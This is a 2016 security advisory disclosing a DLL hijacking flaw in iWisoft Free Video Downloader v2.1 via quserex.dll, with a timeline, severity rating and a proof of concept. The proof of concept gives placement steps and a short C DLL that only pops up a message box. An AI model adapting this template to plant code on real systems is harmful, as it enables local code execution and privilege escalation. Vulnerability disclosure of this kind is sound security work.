i>>?Document Title:
===============
iWisoft Free Video Downloader 2.1 - DLL Hijacking Vulnerability


Release Date:
=============
2016-10-05


Vulnerability Disclosure Timeline:
==================================
2016-10-05 : Discovery of the Vulnerability
2016-10-05 : Contact the Vendor (No Response)
2016-10-17 : Public Disclosure


Product & Service Introduction:
===============================
iWisoft Free Video Downloader is a handy tool to download streaming Flash video from any web page. It can easily detect any live video and audio from internet, capture video, download video and save video to your hard disk for offline enjoyment.
It supports capturing and downloading video, audio and Flash through HTTP, RTMP, RTMPT protocols. The downloaded files include all common stream formats like FLV, F4V, MP4, M4V, WMV, ASF, MPG, MPEG, RM, RMVB, MOV, AVI, MP3, WMA, SWF, etc.
 
(Copy of the Vendor Homepage: http://www.iwisoft.com/ )


Affected Product(s):
====================
iWisoft
Product: iWisoft Free Video Downloader v2.1 - Software


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official iWisoft Free Video Downloader v2.1 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.


Vulnerable Software:
           [+] iWisoft Free Video Downloader

Vulnerable Version(s):
           [+] v2.1

Vulnerable Libraries:
           [+] quserex.dll



Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to quserex.dll
2. Copy quserex.dll to C:\Program Files\iWisoft Flash Video Downloader\VideoDownloader.exe
3. Launch VideoDownloader.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


[+] Disclaimer [+]
===================
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain:     www.zwx.fr
Contact:    msk4@live.fr  
Social:     twitter.com/XSSed.fr
Feeds:      www.zwx.fr/feed/
Advisory:   www.vulnerability-lab.com/show.php?user=ZwX
            packetstormsecurity.com/files/author/12026/
            cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
            0day.today/author/27461


                             Copyright A(c) 2016 | ZwX - Security Researcher (Software & web application)